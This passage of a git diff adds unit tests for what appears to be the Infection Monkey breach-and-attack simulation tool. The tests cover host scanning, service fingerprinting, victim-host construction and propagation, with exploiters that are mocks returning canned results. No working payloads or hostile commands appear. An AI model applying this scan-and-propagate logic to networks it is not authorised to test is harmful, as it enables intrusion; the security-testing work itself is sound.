address.ip.endswith(".3"): + results_callback(address, dot_3_scan_results) + else: + results_callback(address, dead_host_scan_results) + + ip_scanner = MagicMock() + ip_scanner.scan = MagicMock(side_effect=scan) + + return ip_scanner + + +class StubExploiter: + def exploit_hosts( + self, + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, + ): + pass + + +def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory): + p = Propagator( + telemetry_messenger_spy, mock_ip_scanner, StubExploiter(), mock_victim_host_factory, [] + ) + p.propagate( + { + "targets": { + "subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"], + "local_network_scan": False, + "inaccessible_subnets": [], + "blocked_ips": [], + }, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since StubExploiter ignores it + }, + 1, + Event(), + ) + + assert len(telemetry_messenger_spy.telemetries) == 3 + + for t in telemetry_messenger_spy.telemetries: + data = t.get_data() + ip = data["machine"]["ip_addr"] + + if ip.endswith(".1"): + assert data["service_count"] == 2 + assert data["machine"]["os"]["type"] == "windows" + assert data["machine"]["os"]["version"] == "vista" + assert data["machine"]["services"] == dot_1_services + assert data["machine"]["icmp"] is True + elif ip.endswith(".3"): + assert data["service_count"] == 3 + assert data["machine"]["os"]["type"] == "linux" + assert data["machine"]["os"]["version"] == "ubuntu" + assert data["machine"]["services"] == dot_3_services + assert data["machine"]["icmp"] is True + else: + assert data["service_count"] == 0 + assert data["machine"]["os"] == {} + assert data["machine"]["services"] == {} + assert data["machine"]["icmp"] is False + + +class MockExploiter: + def exploit_hosts( + self, + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, + ): + scan_completed.wait() + hte = [] + for _ in range(0, 2): + hte.append(hosts_to_exploit.get()) + + assert hosts_to_exploit.empty() + + for host in hte: + if host.ip_addr.endswith(".1"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData(True, True, False, os_windows, {}, {}, None), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(False, False, False, os_linux, {}, {}, "SSH FAILED for .1"), + ) + elif host.ip_addr.endswith(".2"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData( + False, False, False, os_windows, {}, {}, "POWERSHELL FAILED for .2" + ), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(False, False, False, os_linux, {}, {}, "SSH FAILED for .2"), + ) + elif host.ip_addr.endswith(".3"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData( + False, False, False, os_windows, {}, {}, "POWERSHELL FAILED for .3" + ), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(True, True, False, os_linux, {}, {}, None), + ) + + +def test_exploiter_result_processing( + telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory +): + p = Propagator( + telemetry_messenger_spy, mock_ip_scanner, MockExploiter(), mock_victim_host_factory, [] + ) + p.propagate( + { + "targets": { + "subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"], + "local_network_scan": False, + "inaccessible_subnets": [], + "blocked_ips": [], + }, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since MockExploiter ignores it + }, + 1, + Event(), + ) + + exploit_telems = [t for t in telemetry_messenger_spy.telemetries if isinstance(t, ExploitTelem)] + assert len(exploit_telems) == 4 + + for t in exploit_telems: + data = t.get_data() + ip = data["machine"]["ip_addr"] + + assert ip.endswith(".1") or ip.endswith(".3") + + if ip.endswith(".1"): + if data["exploiter"].startswith("PowerShell"): + assert data["propagation_result"] + else: + assert not data["propagation_result"] + elif ip.endswith(".3"): + if data["exploiter"].startswith("PowerShell"): + assert not data["propagation_result"] + else: + assert data["propagation_result"] + + +def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory): + local_network_interfaces = [NetworkInterface("10.0.0.9", "/29")] + p = Propagator( + telemetry_messenger_spy, + mock_ip_scanner, + StubExploiter(), + mock_victim_host_factory, + local_network_interfaces, + ) + p.propagate( + { + "targets": { + "subnet_scan_list": ["10.0.0.0/29", "172.10.20.30"], + "local_network_scan": True, + "blocked_ips": ["10.0.0.3"], + "inaccessible_subnets": ["10.0.0.128/30", "10.0.0.8/29"], + }, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since MockExploiter ignores it + }, + 1, + Event(), + ) + expected_ip_scan_list = [ + "10.0.0.0", + "10.0.0.1", + "10.0.0.2", + "10.0.0.4", + "10.0.0.5", + "10.0.0.6", + "10.0.0.8", + "10.0.0.10", + "10.0.0.11", + "10.0.0.12", + "10.0.0.13", + "10.0.0.14", + "10.0.0.128", + "10.0.0.129", + "10.0.0.130", + "172.10.20.30", + ] + + actual_ip_scan_list = [address.ip for address in mock_ip_scanner.scan.call_args_list[0][0][0]] + assert actual_ip_scan_list == expected_ip_scan_list diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py new file mode 100644 index 000000000..766ef0392 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_factory.py @@ -0,0 +1,83 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.model import VictimHostFactory +from infection_monkey.network import NetworkAddress + + +@pytest.fixture +def mock_tunnel(): + tunnel = MagicMock() + tunnel.get_tunnel_for_ip = lambda _: "1.2.3.4:1234" + return tunnel + + +@pytest.fixture(autouse=True) +def mock_get_interface_to_target(monkeypatch): + monkeypatch.setattr( + "infection_monkey.model.victim_host_factory.get_interface_to_target", lambda _: "1.1.1.1" + ) + + +def test_factory_no_tunnel(): + factory = VictimHostFactory( + tunnel=None, island_ip="192.168.56.1", island_port="5000", on_island=False + ) + network_address = NetworkAddress("192.168.56.2", None) + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "192.168.56.1:5000" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel is None + assert victim.domain_name == "" + + +def test_factory_with_tunnel(mock_tunnel): + factory = VictimHostFactory( + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="5000", on_island=False + ) + network_address = NetworkAddress("192.168.56.2", None) + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "192.168.56.1:5000" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel == "1.2.3.4:1234" + assert victim.domain_name == "" + + +def test_factory_on_island(mock_tunnel): + factory = VictimHostFactory( + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port="99", on_island=True + ) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "1.1.1.1:99" + assert victim.domain_name == "www.bogus.monkey" + assert victim.ip_addr == "192.168.56.2" + assert victim.default_tunnel == "1.2.3.4:1234" + + +@pytest.mark.parametrize("default_port", ["", None]) +def test_factory_no_port(mock_tunnel, default_port): + factory = VictimHostFactory( + tunnel=mock_tunnel, island_ip="192.168.56.1", island_port=default_port, on_island=True + ) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server == "1.1.1.1" + + +def test_factory_no_default_server(mock_tunnel): + factory = VictimHostFactory(tunnel=mock_tunnel, island_ip=None, island_port="", on_island=True) + network_address = NetworkAddress("192.168.56.2", "www.bogus.monkey") + + victim = factory.build_victim_host(network_address) + + assert victim.default_server is None diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py deleted file mode 100644 index c60992fee..000000000 --- a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py +++ /dev/null @@ -1,46 +0,0 @@ -from unittest import TestCase - -from common.network.network_range import CidrRange, SingleIpRange -from infection_monkey.model.victim_host_generator import VictimHostGenerator - - -class TestVictimHostGenerator(TestCase): - def setUp(self): - self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts - self.local_host_range = SingleIpRange("localhost") - self.random_single_ip_range = SingleIpRange("41.50.13.37") - - def test_chunking(self): - chunk_size = 3 - # current test setup is 15+1+1-1 hosts - test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range] - generator = VictimHostGenerator(test_ranges, "10.0.0.1", []) - victims = generator.generate_victims(chunk_size) - for i in range(5): # quickly check the equally sided chunks - self.assertEqual(len(next(victims)), chunk_size) - victim_chunk_last = next(victims) - self.assertEqual(len(victim_chunk_last), 1) - - def test_remove_blocked_ip(self): - generator = VictimHostGenerator(self.cidr_range, ["10.0.0.1"], []) - - victims = list(generator.generate_victims_from_range(self.cidr_range)) - self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked - - def test_remove_local_ips(self): - generator = VictimHostGenerator([], [], []) - generator.local_addresses = ["127.0.0.1"] - victims = list(generator.generate_victims_from_range(self.local_host_range)) - self.assertEqual(len(victims), 0) # block the local IP - - def test_generate_domain_victim(self): - # domain name victim - generator = VictimHostGenerator([], [], []) # dummy object - victims = list(generator.generate_victims_from_range(self.local_host_range)) - self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, "localhost") - - # don't generate for other victims - victims = list(generator.generate_victims_from_range(self.random_single_ip_range)) - self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, "") diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py new file mode 100644 index 000000000..758dc4f35 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_elasticsearch_fingerprinter.py @@ -0,0 +1,86 @@ +from unittest.mock import MagicMock + +import pytest + +from common.common_consts.network_consts import ES_SERVICE +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network_scanning.elasticsearch_fingerprinter import ( + ES_PORT, + ElasticSearchFingerprinter, +) + +PORT_SCAN_DATA_OPEN = {ES_PORT: PortScanData(ES_PORT, PortStatus.OPEN, "", f"tcp-{ES_PORT}")} +PORT_SCAN_DATA_CLOSED = {ES_PORT: PortScanData(ES_PORT, PortStatus.CLOSED, "", f"tcp-{ES_PORT}")} +PORT_SCAN_DATA_MISSING = { + 80: PortScanData(80, PortStatus.OPEN, "", "tcp-80"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), +} + + +@pytest.fixture +def fingerprinter(): + return ElasticSearchFingerprinter() + + +def test_successful(monkeypatch, fingerprinter): + successful_server_response = { + "cluster_name": "test cluster", + "name": "test name", + "version": {"number": "1.0.0"}, + } + monkeypatch.setattr( + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", + lambda _: successful_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_OPEN, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + es_service = fingerprint_data.services[ES_SERVICE] + + assert es_service["cluster_name"] == successful_server_response["cluster_name"] + assert es_service["version"] == successful_server_response["version"]["number"] + assert es_service["name"] == successful_server_response["name"] + + +@pytest.mark.parametrize("port_scan_data", [PORT_SCAN_DATA_CLOSED, PORT_SCAN_DATA_MISSING]) +def test_fingerprinting_skipped_if_port_closed(monkeypatch, fingerprinter, port_scan_data): + mock_query_elasticsearch = MagicMock() + monkeypatch.setattr( + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", + mock_query_elasticsearch, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, {}) + + assert not mock_query_elasticsearch.called + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +@pytest.mark.parametrize( + "mock_query_function", + [ + MagicMock(side_effect=Exception("test exception")), + MagicMock(return_value={"unexpected_key": "unexpected_value"}), + ], +) +def test_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): + monkeypatch.setattr( + "infection_monkey.network_scanning.elasticsearch_fingerprinter._query_elasticsearch", + mock_query_function, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_OPEN, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py new file mode 100644 index 000000000..dde307506 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -0,0 +1,133 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter + +OPTIONS = {"http_ports": [80, 443, 1080, 8080, 9200]} + +PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"} +APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"} +NO_SERVER_HEADER = {"Not_Server": "No Header for you"} + +SERVER_HEADERS = { + "https://127.0.0.1:443": PYTHON_SERVER_HEADER, + "http://127.0.0.1:8080": APACHE_SERVER_HEADER, + "http://127.0.0.1:1080": NO_SERVER_HEADER, +} + + +@pytest.fixture +def mock_get_http_headers(): + return MagicMock(side_effect=lambda url: SERVER_HEADERS.get(url, None)) + + +@pytest.fixture(autouse=True) +def patch_get_http_headers(monkeypatch, mock_get_http_headers): + monkeypatch.setattr( + "infection_monkey.network_scanning.http_fingerprinter._get_http_headers", + mock_get_http_headers, + ) + + +@pytest.fixture +def http_fingerprinter(): + return HTTPFingerprinter() + + +def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) + + assert not mock_get_http_headers.called + + +def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 1 + mock_get_http_headers.assert_called_with("https://127.0.0.1:443") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] + assert fingerprint_data.services["tcp-443"]["data"][1] is True + + +def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 9200: PortScanData(9200, PortStatus.OPEN, "", "tcp-9200"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 2 + mock_get_http_headers.assert_any_call("https://127.0.0.1:9200") + mock_get_http_headers.assert_any_call("http://127.0.0.1:9200") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), + 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 3 + mock_get_http_headers.assert_any_call("https://127.0.0.1:443") + mock_get_http_headers.assert_any_call("https://127.0.0.1:8080") + mock_get_http_headers.assert_any_call("http://127.0.0.1:8080") + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 2 + + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] + assert fingerprint_data.services["tcp-443"]["data"][1] is True + assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER["Server"] + assert fingerprint_data.services["tcp-8080"]["data"][1] is False + + +def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 1080: PortScanData(1080, PortStatus.OPEN, "", "tcp-1080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 2 + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + assert fingerprint_data.services["tcp-1080"]["data"][0] == "" + assert fingerprint_data.services["tcp-1080"]["data"][1] is False diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py new file mode 100644 index 000000000..8ae7d7fca --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py @@ -0,0 +1,102 @@ +import socket +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network_scanning.mssql_fingerprinter import ( + MSSQL_SERVICE, + SQL_BROWSER_DEFAULT_PORT, + MSSQLFingerprinter, +) + +PORT_SCAN_DATA_BOGUS = { + 80: PortScanData(80, PortStatus.OPEN, "", "tcp-80"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), +} + + +@pytest.fixture +def fingerprinter(): + return MSSQLFingerprinter() + + +def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): + successful_service_response = { + "ServerName": "BogusVogus", + "InstanceName": "GhostServer", + "IsClustered": "No", + "Version": "11.1.1111.111", + "tcp": "1433", + "np": "blah_blah", + } + + successful_server_response = ( + b"\x05y\x00ServerName;BogusVogus;InstanceName;GhostServer;" + b"IsClustered;No;Version;11.1.1111.111;tcp;1433;np;blah_blah;;" + ) + monkeypatch.setattr( + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", + lambda _: successful_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + # Each mssql instance is under his name + assert len(fingerprint_data.services["MSSQL"].keys()) == 3 + assert fingerprint_data.services["MSSQL"]["display_name"] == MSSQL_SERVICE + assert fingerprint_data.services["MSSQL"]["port"] == SQL_BROWSER_DEFAULT_PORT + mssql_service = fingerprint_data.services["MSSQL"]["BogusVogus"] + + assert len(mssql_service.keys()) == len(successful_service_response.keys()) + for key, value in successful_service_response.items(): + assert mssql_service[key] == value + + +@pytest.mark.parametrize( + "mock_query_function", + [ + MagicMock(side_effect=socket.timeout), + MagicMock(side_effect=socket.error), + MagicMock(side_effect=Exception), + ], +) +def test_mssql_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): + monkeypatch.setattr( + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", + mock_query_function, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +def test_mssql_wrong_response_from_server(monkeypatch, fingerprinter): + + mangled_server_response = ( + b"Lorem ipsum dolor sit amet, consectetur adipiscing elit. " + b"Pellentesque ultrices ornare libero, ;;" + ) + monkeypatch.setattr( + "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", + lambda _: mangled_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py new file mode 100644 index 000000000..88c9dbeca --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping_scanner.py @@ -0,0 +1,184 @@ +import math +import subprocess +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.network_scanning import ping +from infection_monkey.network_scanning.ping_scanner import EMPTY_PING_SCAN + +LINUX_SUCCESS_OUTPUT = """ +PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. +64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.057 ms + +--- 192.168.1.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.057/0.057/0.057/0.000 ms +""" + +LINUX_NO_RESPONSE_OUTPUT = """ +PING test-fake-domain.com (127.0.0.1) 56(84) bytes of data. + +--- test-fake-domain.com ping statistics --- +1 packets transmitted, 0 received, 100% packet loss, time 0ms +""" + +WINDOWS_SUCCESS_OUTPUT = """ +Pinging 10.0.0.1 with 32 bytes of data: +Reply from 10.0.0.1: bytes=32 time=2ms TTL=127 + +Ping statistics for 10.0.0.1: + Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), +Approximate round trip times in milli-seconds: + Minimum = 2ms, Maximum = 2ms, Average = 2ms +""" + +WINDOWS_NO_RESPONSE_OUTPUT = """ +Pinging 10.0.0.99 with 32 bytes of data: +Request timed out. + +Ping statistics for 10.0.0.99: + Packets: Sent = 1, Received = 0, Lost = 1 (100% loss), +""" + +MALFORMED_OUTPUT = """ +WUBBA LUBBA DUB DUBttl=1a1 time=0.201 ms +TTL=b10 +TTL=1C +ttl=2d2! +""" + + +@pytest.fixture +def patch_subprocess_running_ping(monkeypatch): + def inner(mock_obj): + monkeypatch.setattr("subprocess.Popen", MagicMock(return_value=mock_obj)) + + return inner + + +@pytest.fixture +def patch_subprocess_running_ping_with_ping_output(patch_subprocess_running_ping): + def inner(ping_output): + mock_ping = MagicMock() + mock_ping.communicate = MagicMock(return_value=(ping_output, "")) + patch_subprocess_running_ping(mock_ping) + + return inner + + +@pytest.fixture +def patch_subprocess_running_ping_to_raise_timeout_expired(patch_subprocess_running_ping): + mock_ping = MagicMock() + mock_ping.communicate = MagicMock(side_effect=subprocess.TimeoutExpired(["test-ping"], 10)) + + patch_subprocess_running_ping(mock_ping) + + +@pytest.fixture +def set_os_linux(monkeypatch): + monkeypatch.setattr("sys.platform", "linux") + + +@pytest.fixture +def set_os_windows(monkeypatch): + monkeypatch.setattr("sys.platform", "win32") + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_ping_success(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(LINUX_SUCCESS_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert result.response_received + assert result.os == "linux" + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_ping_no_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(LINUX_NO_RESPONSE_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_ping_success(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(WINDOWS_SUCCESS_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert result.response_received + assert result.os == "windows" + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_ping_no_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(WINDOWS_NO_RESPONSE_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +def test_malformed_ping_command_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(MALFORMED_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.mark.usefixtures("patch_subprocess_running_ping_to_raise_timeout_expired") +def test_timeout_expired(): + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.fixture +def ping_command_spy(monkeypatch): + ping_stub = MagicMock() + monkeypatch.setattr("subprocess.Popen", ping_stub) + + return ping_stub + + +@pytest.fixture +def assert_expected_timeout(ping_command_spy): + def inner(timeout_flag, timeout_input, expected_timeout): + ping("192.168.1.1", timeout_input) + + assert ping_command_spy.call_args is not None + + ping_command = ping_command_spy.call_args[0][0] + assert timeout_flag in ping_command + + timeout_flag_index = ping_command.index(timeout_flag) + assert ping_command[timeout_flag_index + 1] == expected_timeout + + return inner + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_timeout(assert_expected_timeout): + timeout_flag = "-w" + timeout = 1.42379 + + assert_expected_timeout(timeout_flag, timeout, str(1423)) + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_timeout(assert_expected_timeout): + timeout_flag = "-W" + timeout = 1.42379 + + assert_expected_timeout(timeout_flag, timeout, str(math.ceil(timeout))) + + +def test_exception_handling(monkeypatch): + monkeypatch.setattr( + "infection_monkey.network_scanning.ping_scanner._ping", MagicMock(side_effect=Exception) + ) + assert ping("abc", 10) == EMPTY_PING_SCAN diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py new file mode 100644 index 000000000..631d65fa8 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_scan_target_generator.py @@ -0,0 +1,480 @@ +from itertools import chain + +import pytest + +from common.network.network_range import InvalidNetworkRangeError +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list + + +def compile_ranges_only(ranges): + return compile_scan_target_list( + local_network_interfaces=[], + ranges_to_scan=ranges, + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + +def test_single_subnet(): + scan_targets = compile_ranges_only(["10.0.0.0/24"]) + + assert len(scan_targets) == 255 + + for i in range(0, 255): + assert NetworkAddress(f"10.0.0.{i}", None) in scan_targets + + +@pytest.mark.parametrize("single_ip", ["10.0.0.2", "10.0.0.2/32", "10.0.0.2-10.0.0.2"]) +def test_single_ip(single_ip): + print(single_ip) + scan_targets = compile_ranges_only([single_ip]) + + assert len(scan_targets) == 1 + assert NetworkAddress("10.0.0.2", None) in scan_targets + assert NetworkAddress("10.0.0.2", None) == scan_targets[0] + + +def test_multiple_subnet(): + scan_targets = compile_ranges_only(["10.0.0.0/24", "192.168.56.8/29"]) + + assert len(scan_targets) == 262 + + for i in range(0, 255): + assert NetworkAddress(f"10.0.0.{i}", None) in scan_targets + + for i in range(8, 15): + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets + + +def test_middle_of_range_subnet(): + scan_targets = compile_ranges_only(["192.168.56.4/29"]) + + assert len(scan_targets) == 7 + + for i in range(0, 7): + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets + + +@pytest.mark.parametrize( + "ip_range", + ["192.168.56.25-192.168.56.33", "192.168.56.25 - 192.168.56.33", "192.168.56.33-192.168.56.25"], +) +def test_ip_range(ip_range): + scan_targets = compile_ranges_only([ip_range]) + + assert len(scan_targets) == 9 + + for i in range(25, 34): + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets + + +def test_no_duplicates(): + scan_targets = compile_ranges_only(["192.168.56.0/29", "192.168.56.2", "192.168.56.4"]) + + assert len(scan_targets) == 7 + + for i in range(0, 7): + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets + + +def test_blocklisted_ips(): + blocklisted_ips = ["10.0.0.5", "10.0.0.32", "10.0.0.119", "192.168.1.33"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=[], + ranges_to_scan=["10.0.0.0/24"], + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 252 + for blocked_ip in blocklisted_ips: + assert blocked_ip not in scan_targets + + +@pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) +def test_only_ip_blocklisted(ranges_to_scan): + blocklisted_ips = ["10.0.0.5"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=[], + ranges_to_scan=ranges_to_scan, + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_local_network_interface_ips_removed_from_targets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["10.0.0.0/24"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 252 + for interface in local_network_interfaces: + assert interface.address not in scan_targets + + +def test_no_redundant_targets(): + 